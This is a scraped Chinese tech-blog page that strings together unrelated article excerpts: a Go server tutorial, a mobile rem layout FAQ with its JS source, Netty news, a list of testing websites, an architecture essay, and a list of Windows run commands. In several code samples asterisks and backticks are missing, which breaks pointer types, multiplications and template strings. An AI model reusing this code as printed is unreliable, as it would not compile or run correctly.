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Golang
...传统编程语言在多任务处理上那效率低下的样子,心里直冒火,于是下定决心要搞出一门“又快又稳还特高效”的编程语言,简直就像武侠小说里那种为了解决江湖大难题豁出去了的大侠一样! 记得我第一次接触Go时,简直被它的简洁震撼到了。不像Java那么啰嗦,也不像Python那样慢吞吞,Go简直就是为高并发而生的!每次看到它的协程(goroutine)和通道(channel),我就忍不住想:这不就是为我这种喜欢高效开发的人量身定制的语言嘛! 所以,今天咱们就来聊聊如何用Go语言构建一个高性能的服务器。嘿,别担心!我可不会整那些枯燥的理论大餐,咱们这就撸起袖子一起敲代码吧。来吧,跟着我,看看Go这小子到底是怎么一步步帮咱们搞定问题的,超有趣的! --- 2. 高性能服务器的核心要素 说到高性能服务器,其实核心无非就几个点:并发处理、内存管理、网络优化和代码结构。Go在这几个方面都有独到的优势,接下来咱们一个个拆解来看。 2.1 并发处理:协程的力量 先说并发处理吧。Go最大的特点之一就是协程(goroutine)。嘿,你知道为啥大家都说协程比线程“瘦”吗?就是因为它真的省空间啊!打个比方,一个协程的“小背包”(也就是栈内存)才不到2KB,可传统线程那背包大得吓人,动不动就几十KB起步,甚至能到上百KB。这差距,简直是一个小巧玲珑的手拿包和一个超大登山包的区别! 举个例子,假设我们要做一个聊天服务器,每秒钟需要处理上千个用户的请求。要是用那种老式的多线程方式,创建和销毁线程的代价大得会让你的服务器累得直不起腰,简直要崩溃了!但用Go的话,完全可以轻松应对: go package main import ( "fmt" "net/http" ) func handleRequest(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "Hello, %s!", r.URL.Path[1:]) } func main() { http.HandleFunc("/", handleRequest) fmt.Println("Server started at :8080") err := http.ListenAndServe(":8080", nil) if err != nil { panic(err) } } 这段代码虽然简单,但它背后却隐藏着Go的魔力。嘿,你有没有试过访问这个地址:http://localhost:8080/username?当你这么做的时候,Go 这家伙就会偷偷摸摸地给你派来一个小帮手——一个协程,专门负责处理你的请求。而且更贴心的是,它完全不用你去管什么线程池那些听起来就头大的复杂玩意儿,简直是太省心了吧! 当然了,光靠协程还不够。为了确保程序的健壮性,我们需要合理地利用通道(channel)来进行通信。比如下面这个简单的生产者-消费者模型: go package main import ( "fmt" "time" ) func producer(ch chan<- int) { for i := 0; i < 5; i++ { ch <- i fmt.Println("Produced:", i) time.Sleep(500 time.Millisecond) } close(ch) } func consumer(ch <-chan int) { for num := range ch { fmt.Println("Consumed:", num) } } func main() { ch := make(chan int) go producer(ch) consumer(ch) } 在这个例子中,producer函数向通道发送数据,而consumer函数从通道接收数据。用这种方法,咱们就能又优雅又稳妥地搞定多线程里的同步难题,还不用担心被死锁给缠上。 --- 3. 内存管理 GC的奥秘 接下来谈谈内存管理。Go的垃圾回收器(GC)是它的一大亮点。就像用老式工具编程一样,C/C++这种传统语言就得让程序员自己动手去清理内存,稍不留神,就可能搞出内存泄漏,或者戳到那些讨厌的野指针,简直让人头大!而Go则完全解放了我们的双手,它会自动帮你清理不再使用的内存。 不过,GC也不是万能的。有时候,如果你对性能要求特别高,可能会遇到GC停顿的问题。为了解决这个问题,Go团队一直在优化GC算法。最新版本中引入了分代GC(Generational GC),大幅降低了停顿时间。 那么,我们在实际开发中应该如何减少GC的压力呢?最直接的方法就是尽量避免频繁的小对象分配。比如,我们可以复用一些常见的结构体,而不是每次都新建它们: go type Buffer struct { data []byte } func NewBuffer(size int) Buffer { return &Buffer{data: make([]byte, size)} } func (b Buffer) Reset() { b.data = b.data[:0] } func main() { buf := NewBuffer(1024) for i := 0; i < 100; i++ { buf.Reset() // 使用buf... } } 在这个例子中,我们通过Reset()方法复用了同一个Buffer实例,而不是每次都调用make([]byte, size)重新创建一个新的切片。这样可以显著降低GC的压力。 --- 4. 网络优化 TCP/IP的实战 再来说说网络优化。Go的net包提供了强大的网络编程支持,无论是HTTP、WebSocket还是普通的TCP/UDP,都能轻松搞定。特别是对那些高性能服务器而言,怎么才能又快又稳地搞定海量连接,这简直就是一个绕不开的大难题啊! 举个例子,假设我们要实现一个简单的HTTP长连接服务器。传统的做法可能是监听端口,然后逐个处理请求。但这种方式效率不高,特别是在高并发场景下。Go提供了一个更好的解决方案——使用net/http包的Serve方法: go package main import ( "log" "net/http" ) func handler(w http.ResponseWriter, r http.Request) { w.Write([]byte("Hello, World!")) } func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil)) } 这段代码看起来很简单,但它实际上已经具备了处理大量并发连接的能力。为啥呢?就是因为Go语言里的http.Server自带了一个超级能打的“工具箱”,里面有个高效的连接池和请求队列,遇到高并发的情况时,它就能像一个经验丰富的老司机一样,把各种请求安排得明明白白,妥妥地hold住场面! 当然,如果你想要更底层的控制,也可以直接使用net包来编写TCP服务器。比如下面这个简单的TCP回显服务器: go package main import ( "bufio" "fmt" "net" ) func handleConnection(conn net.Conn) { defer conn.Close() reader := bufio.NewReader(conn) for { message, err := reader.ReadString('\n') if err != nil { fmt.Println("Error reading:", err) break } fmt.Print("Received:", message) conn.Write([]byte(message)) } } func main() { listener, err := net.Listen("tcp", ":8080") if err != nil { fmt.Println("Error listening:", err) return } defer listener.Close() fmt.Println("Listening on :8080...") for { conn, err := listener.Accept() if err != nil { fmt.Println("Error accepting:", err) continue } go handleConnection(conn) } } 在这个例子中,我们通过listener.Accept()不断接受客户端连接,并为每个连接启动一个协程来处理请求。这种模式非常适合处理大量短连接的场景。 --- 5. 代码结构 模块化与可扩展性 最后,我们来聊聊代码结构。一个高性能的服务器不仅仅依赖于语言特性,还需要良好的设计思路。Go语言特别推崇把程序分成小块儿来写,就像搭积木一样,每个功能都封装成独立的小模块或包。这样不仅修 bug 的时候方便找问题,写代码的时候也更容易看懂,以后想加新功能啥的也简单多了。 比如,假设我们要开发一个分布式任务调度系统,可以按照以下方式组织代码: go // tasks.go package task type Task struct { ID string Name string Param interface{} } func NewTask(id, name string, param interface{}) Task { return &Task{ ID: id, Name: name, Param: param, } } // scheduler.go package scheduler import "task" type Scheduler struct { tasks []task.Task } func NewScheduler() Scheduler { return &Scheduler{ tasks: make([]task.Task, 0), } } func (s Scheduler) AddTask(t task.Task) { s.tasks = append(s.tasks, t) } func (s Scheduler) Run() { for _, t := range s.tasks { fmt.Printf("Executing task %s\n", t.Name) // 执行任务逻辑... } } 通过这种方式,我们将任务管理和调度逻辑分离出来,使得代码更加清晰易懂。同时,这样的设计也方便未来扩展新的功能,比如添加日志记录、监控指标等功能。 --- 6. 总结与展望 好了,到这里咱们就差不多聊完了如何用Go语言进行高性能服务器开发。说实话,写着这篇文章的时候,我脑海里突然蹦出大学时那股子钻研劲儿,感觉就像重新回到那些熬夜敲代码的日子了,整个人都热血上头!Go这门语言真的太带感了,简单到没话说,效率还超高,稳定性又好得没话说,简直就是程序员的救星啊! 不过,我也想提醒大家一句:技术再好,最终还是要服务于业务需求。不管你用啥法子、说啥话,老老实实问问自己:“这招到底管不管用?是不是真的解决问题了?”这才是真本事! 希望这篇文章对你有所帮助,如果你有任何疑问或者想法,欢迎随时留言讨论!让我们一起继续探索Go的无限可能吧!
2025-04-23 15:46:59
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桃李春风一杯酒
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...应用px的地方做相应处理,即: a px => a0.02 rem (具体处理方式因人而异,有模块化开发经验的同学可使用类似的 px2rem 的插件去转化,也可以完全手动处理) (2017/9/9更新)然而真实情况往往更为复杂,比如,你引入了百度地图(N个样式需要处理转换);或者你引入了一个 framework;又或者你使用了 video 标签,上面默认的尺寸样式很难处理。等等这些棘手问题 面对这些情况,此时我们的高清方案如果不再压缩页面,那么以上问题将迎刃而解。 基于这样的思路,笔者对高清方案的源码做了如下修改,即添加一个叫做 normal 的参数,由它来控制页面是否压缩。 在文章顶部代码的最后,你会看到 flex(false, 100, 1),默认情况下页面是开启压缩的。 如果你需要禁止压缩,由于我们的源码执行后,直接将flex函数挂载到全局变量window上了,此时你直接在需要禁止压缩的页面执行 window.flex(true) 就可以了,而rem的用法保持不变。 有一点美中不足的是,如果禁止了页面压缩,高清屏的1像素就不能实现了,如果你必须要实现1像素,那么自行谷歌:css 0.5像素,有N多的解决方案,这里不再赘述。 5.问:有时候字体会不受控制的变大,怎么办? 答:在X5新内核Blink中,在排版页面的时候,会主动对字体进行放大,会检测页面中的主字体,当某一块字体在我们的判定规则中,认为字号较小,并且是页面中的主要字体,就会采取主动放大的操作。然而这不是我们想要的,可以采取给最大高度解决 解决方案: , :before, :after { max-height: 100000px } 补充:有同学反映,在一些情况下 textarea 标签内的字体大小即便加上上面的方案,字体也会变大,无法控制。此时你需要给 textarea 的 display 设为 table 或者 inline-table 即可恢复正常。(感谢 程序媛喵喵 对此的补充!2017/7/7) 6.问:我在底部导航用的flex感觉更合适一些,请问这样子混着用可以吗? 答:咱们的rem适合写固定尺寸。其余的根据需要换成flex或者百分比。源码示例中就有这三种的综合运用。 7.问:在高清方案下,一个标准的,较为理想的宽度为640的页面效果图应该是怎样的? 点击浏览:一个标准的640手机页面设计稿参考(没错,在此方案中,你可以完全按照这张设计稿的尺寸写布局了。就是这么简单!) 8.问:用了这个方案如何使用媒体查询呢? 一般来讲,使用了这个方案是没必要用媒体查询了,如果你必须要用,假设你要对 iphone5 (css像素宽度320px, 这里需要取其物理像素,也就是640)宽度下的类名做处理,你可以这样 @media screen and (max-width: 640px) {.yourLayout {width:100%;} } 9.问:可以提供下这个高清方案的源码吗? 'use strict';/ @param {Boolean} [normal = false] - 默认开启页面压缩以使页面高清; @param {Number} [baseFontSize = 100] - 基础fontSize, 默认100px; @param {Number} [fontscale = 1] - 有的业务希望能放大一定比例的字体;/const win = window;export default win.flex = (normal, baseFontSize, fontscale) => {const _baseFontSize = baseFontSize || 100;const _fontscale = fontscale || 1;const doc = win.document;const ua = navigator.userAgent;const matches = ua.match(/Android[\S\s]+AppleWebkit\/(\d{3})/i);const UCversion = ua.match(/U3\/((\d+|\.){5,})/i);const isUCHd = UCversion && parseInt(UCversion[1].split('.').join(''), 10) >= 80;const isIos = navigator.appVersion.match(/(iphone|ipad|ipod)/gi);let dpr = win.devicePixelRatio || 1;if (!isIos && !(matches && matches[1] > 534) && !isUCHd) {// 如果非iOS, 非Android4.3以上, 非UC内核, 就不执行高清, dpr设为1;dpr = 1;}const scale = normal ? 1 : 1 / dpr;let metaEl = doc.querySelector('meta[name="viewport"]');if (!metaEl) {metaEl = doc.createElement('meta');metaEl.setAttribute('name', 'viewport');doc.head.appendChild(metaEl);}metaEl.setAttribute('content', width=device-width,user-scalable=no,initial-scale=${scale},maximum-scale=${scale},minimum-scale=${scale});doc.documentElement.style.fontSize = normal ? '50px' : ${_baseFontSize / 2 dpr _fontscale}px;}; 10.问:我在使用 rem 布局进阶方案的时候遇到了XXX的问题,如何解决? 此方案久经考验,具有普遍适用性,自身出致命问题的情况很少,至少笔者是没遇到过。 绝大多数你遇到的问题,都是由于对rem布局理解不到位导致的。本文对rem布局做了大量的解释说明,配置了若干 demo,你可以把你遇到的问题放到demo里测试。遇到问题时,首先问自己,为什么这明显的错误大家没遇到就我遇到了?? 如果你真的经过充分验证,比对,确实是rem布局自身出了问题,那么请私信我,把还原问题场景的 demo 或者文件发给我。谢谢! 本篇文章为转载内容。原文链接:https://blog.csdn.net/hjhfreshman/article/details/88864894。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-23 12:01:53
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Netty
...爆炸式增长,大数据流处理的需求愈发旺盛。Netty作为一种高效的网络编程框架,在这一背景下再次成为开发者关注的焦点。最近的一项研究表明,全球范围内使用Netty框架的企业数量在过去两年内增长了近40%,特别是在金融、物流和智能制造等领域,其应用尤为广泛。这表明,Netty不仅在学术界受到重视,也在工业实践中展现了强大的生命力。 以国内某大型电商平台为例,该平台每年处理的订单量高达数十亿笔,对系统的实时性和稳定性提出了极高的要求。在引入Netty之前,其系统在高峰期经常出现响应缓慢甚至宕机的情况。经过优化后,借助Netty的异步非阻塞I/O模型和零拷贝技术,该平台成功将订单处理延迟缩短至微秒级别,同时大幅降低了服务器资源的消耗。这一成果不仅提升了用户体验,也为企业的运营效率带来了质的飞跃。 与此同时,Netty在国际舞台上也展现出强劲的竞争力。近日,开源社区宣布Netty项目正式加入Linux基金会旗下的Open Usage Commons计划,这意味着Netty将获得更广泛的行业支持和标准化管理。此举将进一步推动Netty生态系统的健康发展,吸引更多开发者参与贡献,同时也为企业用户提供更为可靠的技术保障。 值得注意的是,尽管Netty具有诸多优势,但在实际部署过程中仍需谨慎规划。例如,在处理大规模数据流时,如何平衡内存使用与性能优化是一个重要的课题。此外,随着人工智能算法的不断演进,未来Netty或许还需要针对AI模型训练和推理任务进行专门适配,以满足新兴应用场景的需求。总之,Netty的未来充满无限可能,值得每一位开发者持续关注和探索。
2025-04-26 15:51:26
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青山绿水
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...化软件测试和自然语言处理研究页面,属于个人网页,上面有些资源可供下载 http://www.benchmarkresources.com/ 提供有关标杆方面的资料,也有一些其它软件测试方面的资料 http://www.betasoft.com/ 包含一些流行测试工具的介绍、下载和讨论,还提供测试方面的资料 http://www.brunel.ac.uk/~csstmmh2/vast/home.html VASTT研究组织,主要从事通过切片技术、测试技术和转换技术来验证和分析系统,对这方面技术感兴趣的人是可以在这里参考一些研究的项目及相关的一些主题信息 http://www.cc.gatech.edu/aristotle/ Aristole研究组织,研究软件系统分析、测试和维护等方面的技术,在测试方面的研究包括了回归测试、测试套最小化、面向对象软件测试等内容,该网站有丰富的论文资源可供下载 http://www.computer.org/ IEEE是世界上最悠久,也是在最大的计算机社会团体,它的电子图书馆拥有众多计算机方面的论文资料,是研究计算机方面的一个重要资源参考来源 http://www.cs.colostate.edu/testing/ 可靠性研究网站,有一些可靠性方面的论文资料 http://www.cs.york.ac.uk/testsig/ 约克大学的测试专业兴趣研究组网页,有比较丰富的资料下载,内容涵盖了测试的多个方面,包括测试自动化、测试数据生成、面向对象软件测试、验证确认过程等 http://www.csr.ncl.ac.uk/index.html 学校里面的一个软件可靠性研究中心,提供有关软件可靠性研究方面的一些信息和资料,对这方面感兴趣的人可以参考 http://www.dcs.shef.ac.uk/research/groups/vt/ 学校里的一个验证和测试研究机构,有一些相关项目和论文可供参考 http://www.esi.es/en/main/ ESI(欧洲软件组织),提供包括CMM评估方面的各种服务 http://www.europeindia.org/cd02/index.htm 一个可靠性研究网站,有可靠性方面的一些资料提供参考 http://www.fortest.org.uk/ 一个测试研究网站,研究包括了静态测试技术(如模型检查、理论证明)和动态测试(如测试自动化、特定缺陷的检查、测试有效性分析等) http://www.grove.co.uk/ 一个有关软件测试和咨询机构的网站,有一些测试方面的课程和资料供下载 http://www.hq.nasa.gov/office/codeq/relpract/prcls-23.htm NASA可靠性设计实践资料 http://www.io.com/~wazmo/ Bret Pettichord的主页,他的一个热点测试页面连接非常有价值,从中可以获得相当大的测试资料,很有价值 http://www.iso.ch/iso/en/ISOOnline.frontpage 国际标准化组织,提供包括ISO标准系统方面的各类参考资料 http://www.isse.gmu.edu/faculty/ofut/classes/ 821-ootest/papers.html 提供面向对象和基于构架的测试方面著作下载,对这方面感兴趣的读者可以参考该网站,肯定有价值 http://www.ivv.nasa.gov/ NASA设立的独立验证和确认机构,该机构提出了软件开发的全面验证和确认,在此可以获得这方面的研究资料 http://www.kaner.com/ 著名的测试专家Cem Kanner的主页,里面有许多关于测试的专题文章,相信对大家都有用。Cem Kanner关于测试的最著名的书要算Testing Software,这本书已成为一个测试人员的标准参考书 http://www.library.cmu.edu/Re-search/Engineer-ingAndSciences/CS+ECE/index.html 卡耐基梅陇大学网上图书馆,在这里你可以获得有关计算机方面各类论文资料,内容极其庞大,是研究软件测试不可获取的资料来源之一 http://www.loadtester.com/ 一个性能测试方面的网站,提供有关性能测试、性能监控等方面的资源,包括论文、论坛以及一些相关链接 http://www.mareinig.ch/mt/index.html 关于软件工程和应用开发领域的各种免费的实践知识、时事信息和资料文件下载,包括了测试方面的内容 http://www.mtsu.ceu/-storm/ 软件测试在线资源,包括提供目前有哪些人在研究测试,测试工具列表连接,测试会议,测试新闻和讨论,软件测试文学(包括各种测试杂志,测试报告),各种测试研究组织等内容 http://www.psqtcomference.com/ 实用软件质量技术和实用软件测试技术国际学术会议宣传网站,每年都会举行两次 http://www.qacity.com/front.htm 测试工程师资源网站,包含各种测试技术及相关资料下载 http://www.qaforums.com/ 关于软件质量保证方面的一个论坛,需要注册 http://www.qaiusa.com/ QAI是一个提供质量保证方面咨询的国际著名机构,提供各种质量和测试方面证书认证 http://www.qualitytree.com/ 一个测试咨询提供商,有一些测试可供下载,有几篇关于缺陷管理方面的文章值得参考 http://www.rational.com/ IBM Rational的官方网站,可以在这里寻找测试方面的工具信息。IBM Rational提供测试方面一系列的工具,比较全面 http://rexblackconsulting.com/Pages/publicat-ions.htm Rex Black的个人主页,有一些测试和测试管理方面的资料可供下载 http://www.riceconsulting.com/ 一个测试咨询提供商,有一些测试资料可供下载,但不多 http://www.satisfice.com/ 包含James Bach关于软件测试和过程方面的很多论文,尤其在启发式测试策略方面值得参考 http://www.satisfice.com/seminars.shtml 一个黑盒软件测试方面的研讨会,主要由测试专家Cem Kanar和James Bach组织,有一些值得下载的资料 http://www.sdmagazine.com/ 软件开发杂志,经常会有一些关于测试方面好的论文资料,同时还包括了项目和过程改进方面的课题,并且定期会有一些关于质量和测试方面的问题讨论 http://www.sei.cmu.edu/ 著名的软件工程组织,承担美国国防部众多软件工程研究项目,在这里你可以获俄各类关于工程质量和测试方面的资料。该网站提供强有力的搜索功能,可以快速检索到你想要的论文资料,并且可以免费下载 http://www.soft.com/Institute/HotList/ 提供了网上软件质量热点连接,包括:专业团体组织连接、教育机构连接、商业咨询公司连接、质量相关技术会议连接、各类测试技术专题连接等 http://www.soft.com/News/QTN-Online/ 质量技术时事,提供有关测试质量方面的一些时事介绍信息,对于关心测试和质量发展的人士来说是很有价值的 http://www.softwaredioxide.com/ 包括软件工程(CMM,CMMI,项目管理)软件测试等方面的资源 http://www.softwareqatest.com/ 软件质量/测试资源中心。该中心提供了常见的有关测试方面的FAQ资料,各质量/测试网站介绍,各质量/测试工具介绍,各质量/策划书籍介绍以及与测试相关的工作网站介绍 http://www.softwaretestinginstitute.com 一个软件测试机构,提供软件质量/测试方面的调查分析,测试计划模板,测试WWW的技术,如何获得测试证书的指导,测试方面书籍介绍,并且提供了一个测试论坛 http://www.sqatester.com/index.htm 一个包含各种测试和质量保证方面的技术网站,提供咨询和培训服务,并有一些测试人员社团组织,特色内容是缺陷处理方面的技术 http://www.sqe.com/ 一个软件质量工程服务性网站,组织软件测试自动化、STAR-EASE、STARWEST等方面的测试学术会议,并提供一些相关信息资料和课程服务 http://www.stickyminds.com/ 提供关于软件测试和质量保证方面的当前发展信息资料,论文等资源 http://www.stqemagazine.com/ 软件策划和质量工程杂志,经常有一些好的论文供下载,不过数量较少,更多地需要通过订购获得,内容还是很有价值的 http://www.tantara.ab.ca/ 软件质量方面的一个咨询网站,有过程改进方面的一些资料提供 http://www.tcse.org/ IEEE的一个软件工程技术委员会,提供技术论文下载,并有一个功能强大的分类下载搜索功能,可以搜索到测试类型、测试管理、 测试分析等各方面资料 http://www.testing.com/ 测试技术专家Brain Marick的主页,包含了Marick 研究的一些资料和论文,该网页提供了测试模式方面的资料,值得研究。总之,如果对测试实践感兴趣,该网站一定不能错过 http://www.testingcenter.com/ 有一些测试方面的课程体系,有一些价值 http://www.testingconferences.com/asiastar/home 著名的AsiaStar测试国际学术会议官方网站,感兴趣的人一定不能错过 http://www.testingstuff.com/ Kerry Zallar的个人主页,提供一些有关培训、工具、会议、论文方面的参考信息 http://www-sqi.cit.gu.edu.au/ 软件质量机构,有一些技术资料可以供下载,包括软件产品质量模型、再工程、软件质量改进等 这里有些网站已经不能使用了. 转载于:https://www.cnblogs.com/mmsky/p/4581975.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/aizongzhuang2281/article/details/101129638。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-29 09:17:46
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...人。 软件设计和定义过程中存在很多取舍,例如: 完善功能和尽早发布的取舍。 伸缩性和性能的取舍。 著名的 CAP 原则,就是一个很好的取舍指导策略。为了更好的取舍,保持架构风格的一致性,在一开始架构师就应该根据系统的实际需求来定义一些取舍的原则,如: 数据一致性拥有最高优先级。 提前发布核心功能优于完整发布等。 非功能性需求决定架构 因为软件是为了满足客户的功能性需求的,所以很多设计人员可能会认为架构是由要实现的功能性需求决定的。但实际上真正决定软件架构的其实是非功能性需求。 架构师要更加关注非功能性需求,常见的非功能性包括:性能,伸缩性,扩展性和可维护性等,甚至还包括团队技术水平和发布时间要求。能实现功能的设计总是有很多,考虑了非功能性需求后才能筛选出最合适的设计。 以上架构模式来自《面向模式的软件架构》的第一卷,这套书多年来一直是架构师的必读经典。面向架构的模式就是为不同的非功能性需求提供了很好的参考和指导。图中的 Micro-Kernel 模式,更加关注可扩展性和可用性(错误隔离)。 “简单”并不“容易” 很多架构师都会常常提到保持简单,但是有时候我们会混淆简单和容易。简单和容易在英语里也是两个词“simple”和“easy”。 “Simple can be harder than complex: You have to work hard to get your thinking clean to make it simple. But it’s worth it in the end because once you get there, you can move mountains. To be truly simple, you have to go really deep.” –SteveJobs 真正的一些简单的方法其实来自于对问题和技术更深入的理解。这些方案往往不是容易获得的、表面上的方法。简单可以说蕴含着一种深入的技巧在其中。 下面我来举一个例子。 首先我们来回顾一下软件生命周期中各个阶段的成本消耗占比。以下是来一个知名统计机构的分析报告。我们可以看到占比最大的是维护部分,对于这一部分的简化将最具有全局意义。 我曾经开发过一个设备管理系统,移动运营商通过这个系统来管理移动设备,实现包括设备的自动注册、固件和软件的同步等管理功能。这些功能是通过一些管理系统与移动设备间的预定义的交互协议来完成的。 电信专家们会根据业务场景及需求来调整和新增这些交互协议。起初我们采用了一种容易实现的方式,即团队中的软件工程会根据电信专家的说明,将协议实现为对应代码。 之后我们很快发现这样的方式,让我们的工作变得没那么简单。 “I believe that the hardest part of software projects, the most common source of project failure, is communication with the customers and users of that software.” –Martin Fowler 正如软件开发大师 MartinFowler 提到的,“沟通”往往是导致软件项目失败的主要原因。前面这个项目最大的问题是在系统上线后的运行维护阶段,电信专家和开发工程师之间会不断就新的协议修改和增加进行持续的沟通,而他们的领域知识和词汇都有很大的差别,这会大大影响沟通的效率。因此这期间系统的运行维护(协议的修改)变得十分艰难,不仅协议更新上线时间慢,而且由于软件工程对于电信协议理解程度有限,很多问题都要在实际上线使用后才能被电信专家发现,导致了很多的交换和反复。 针对上面提到的问题,后来我们和电信专家一起设计了一种协议设计语言(并提供可视化的工具),这种设计语言使用的电信专家所熟悉的词汇。然后通过一个类似于编译器的程序将电信专家定义好的协议模型转换为内存中的 Java 结构。这样整个项目的运行和维护就变得简单高效了,省去了低效的交流和不准确人工转换。 我们可以看到一开始按电信专家的说明直接实现协议是更为容易的办法,但就整个软件生命周期来看却并不是一个简单高效的方法。 永远不要停止编码 架构师也是程序员,代码是软件的最终实现形态,停止编程会逐渐让你忘记作为程序员的感受,更重要的是忘记其中的“痛”,从而容易产生一些不切实际的设计。 大家可能听说过在 Amazon,高级副总裁级别的 Distinguish Engineer(如:James Gosling,Java 之父),他们每年的编码量也非常大,常在 10 万行以上。 风险优先 架构设计很重要的一点是识别可能存在的风险,尤其是非功能性需求实现的风险。因为这些风险往往没有功能性需求这么容易在初期被发现,但修正的代价通常要比修正功能性需求大非常多,甚至可能导致项目的失败,前面我们也提到了非功能性需求决定了架构,如数据一致性要求、响应延迟要求等。 我们应该通过原型或在早期的迭代中确认风险能够通过合理的架构得以解决。 绝对不要把风险放到最后,就算是一个项目要失败也要让它快速失败,这也是一种敏捷。 从“问题”开始,而不是“技术” 技术人员对于新技术的都有着一种与身俱来的激情,总是乐于去学习新技术,同时也更有激情去使用新技术。但是这也同样容易导致一个通病,就是“当我们有一个锤子的时候看什么都是钉子”,使用一些不适合的技术去解决手边的问题,常常会导致简单问题复杂化。 我曾经的一个团队维护过这样一个简单的服务,起初就是一个用 MySQL 作数据存储的简单服务,由团队的一个成员来开发和维护。后来,这位成员对当时新出的 DynamoDB 产生了兴趣,并学习了相关知识。 然后就发生下面这样的事: 用DynamoDB替换了MySQL。 很快发现DynamoDB并不能很好的支持事务特性,在当时只有一个性能极差的客户端类库来支持事物,由于采用客户端方式,引入了大量的额外交互,导致性能差别达7倍之多。这时候,这个同学就采用了当时在NoSQL领域广泛流行的最终一致技术,通过一个Pub-Sub消息队列来实现最终一致(即当某对象的值发生改变后会产生一个事件,然后关注这一改变的逻辑,就会订阅这个通知,并改变于其相关数据,从而实现不同数据的最终一致)。 接着由于DynamoDB无法提供SQL那样方便的查询机制,为了实现数据分析就又引入了EMR/MapReduceJob。 到此,大家可以看到实现一样的功能,但是复杂性大大增加,维护工作也由一个人变成了一个团队。 过度忙碌使你落后 对于 IT 人而言忙碌已成为了习惯,加班常挂在嘴边。“996”工作制似乎也变成了公司高效的标志。而事实上过度的忙碌使你落后。经常遇见一些朋友,在一个公司没日没夜的干了几年,没有留一点学习时间给自己。几年之后倒是对公司越来越“忠诚”了,但忙碌的工作同时也导致了没有时间更新知识,使得自己已经落后了,连跳槽的能力和勇气都失去了。 过度忙碌会导致没有时间学习和更新自己的知识,尤其在这个高速发展的时代。我在工作经历中发现过度繁忙通常会带来以下问题: 缺乏学习导致工作能力没有提升,而面对的问题却变得日益复杂。 技术和业务上没有更大的领先优势,只能被动紧紧追赶。试想一下,要是你都领先同行业五年了,还会在乎通过加班来早一个月发布吗? 反过来上面这些问题会导致你更加繁忙,进而更没有时间提高自己的技术技能,很快就形成了一个恶性循环。 练过健身的朋友都知道,光靠锻炼是不行的,营养补充和锻炼同样重要。个人技术成长其实也一样,实践和学习是一样重要的,当你在一个领域工作了一段时间以后,工作对你而言就主要是实践了,随着你对该领域的熟悉,能学习的到技术会越来越少。所以每个技术人员都要保证充足的学习时间,否则很容易成为井底之蛙,从而陷入前面提到的恶性循环。 最后,以伟大诗人屈原的诗句和大家共勉:“路漫漫其修远兮,吾将上下而求索“。希望我们大家都可以不忘初心,保持匠心! 作者简介: 蔡超,Mobvista 技术 VP 兼首席架构师,SpotMax 云服务创始人。拥有超过 15 年的软件开发经验,其中 9 年任世界级 IT 公司软件架构师/首席软件架构师。2017 年加入 Mobvista,任公司技术副总裁及首席架构师,领导公司的数字移动营销平台的开发,该平台完全建立于云计算技术之上,每天处理来自全球不同 region 的超过 600 亿次的请求。 在加入 Mobvista 之前,曾任亚马逊全球直运平台首席架构师,亚马逊(中国)首席架构师,曾领导了亚马逊的全球直运平台的开发,并领导中国团队通过 AI 及云计算技术为中国客户打造更好的本地体验;曾任 HP(中国)移动设备管理系统首席软件架构师,该系统曾是全球最大的无线设备管理系统(OMA DM)(客户包括中国移动,中国联通,中国电信等);曾任北京天融信网络安全技术公司,首席软件架构师,领导开发的网络安全管理系统(TopAnalyzer)至今仍被政府重要部门及军队广为采用,该系统也曾成功应用于 2008 北京奥运,2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接:https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-19 14:55:26
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...ra:Windows远程协助 55.mstsc:远程桌面连接 56.NAPCLCFG.MSC:客户端配置 57.ncpa.cpl:网络连接 58.narrator:屏幕“讲述人” 59.Netplwiz:高级用户帐户控制面板,设置登陆安全相关的选项 60.netstat : an(TC)命令检查接口 61.notepad:打开记事本 62.Nslookup:IP地址侦测器 63.odbcad32:ODBC数据源管理器 64.OptionalFeatures:打开“打开或关闭Windows功能”对话框 65.osk:打开屏幕键盘 66.perfmon.msc:计算机性能监测器 67.perfmon:计算机性能监测器 68.PowerShell:提供强大远程处理能力 69.printmanagement.msc:打印管理 70.powercfg.cpl:电源选项 71.psr:问题步骤记录器 72.Rasphone:网络连接 73.Recdisc:创建系统修复光盘 74.Resmon:资源监视器 75.Rstrui:系统还原 76.regedit.exe:注册表 77.regedt32:注册表编辑器 78.rsop.msc:组策略结果集 79.sdclt:备份状态与配置,就是查看系统是否已备份 80.secpol.msc:本地安全策略 81.services.msc:本地服务设置 82.sfc /scannow:扫描错误并复原/windows文件保护 83.sfc.exe:系统文件检查器 84.shrpubw:创建共享文件夹 85.sigverif:文件签名验证程序 86.slui:Windows激活,查看系统激活信息 87.slmgr.vbs -dlv :显示详细的许可证信息 88.snippingtool:截图工具,支持无规则截图 89.soundrecorder:录音机,没有录音时间的限制 90.StikyNot:便笺 91.sysdm.cpl:系统属性 92.sysedit:系统配置编辑器 93.syskey:系统加密,一旦加密就不能解开,保护系统的双重密码 94.taskmgr:任务管理器(旧版) 95.TM任务管理器(新版) 96.taskschd.msc:任务计划程序 97.timedate.cpl:日期和时间 98.UserAccountControlSettings用户账户控制设置 99.utilman:辅助工具管理器 100.wf.msc:高级安全Windows防火墙 101.WFS:Windows传真和扫描 102.wiaacmgr:扫描仪和照相机向导 103.winver:关于Windows 104.wmimgmt.msc:打开windows管理体系结构(WMI) 105.write:写字板 106.wscui.cpl:操作中心 107.wuapp:Windows更新 108.wscript:windows脚本宿主设置 六、小结 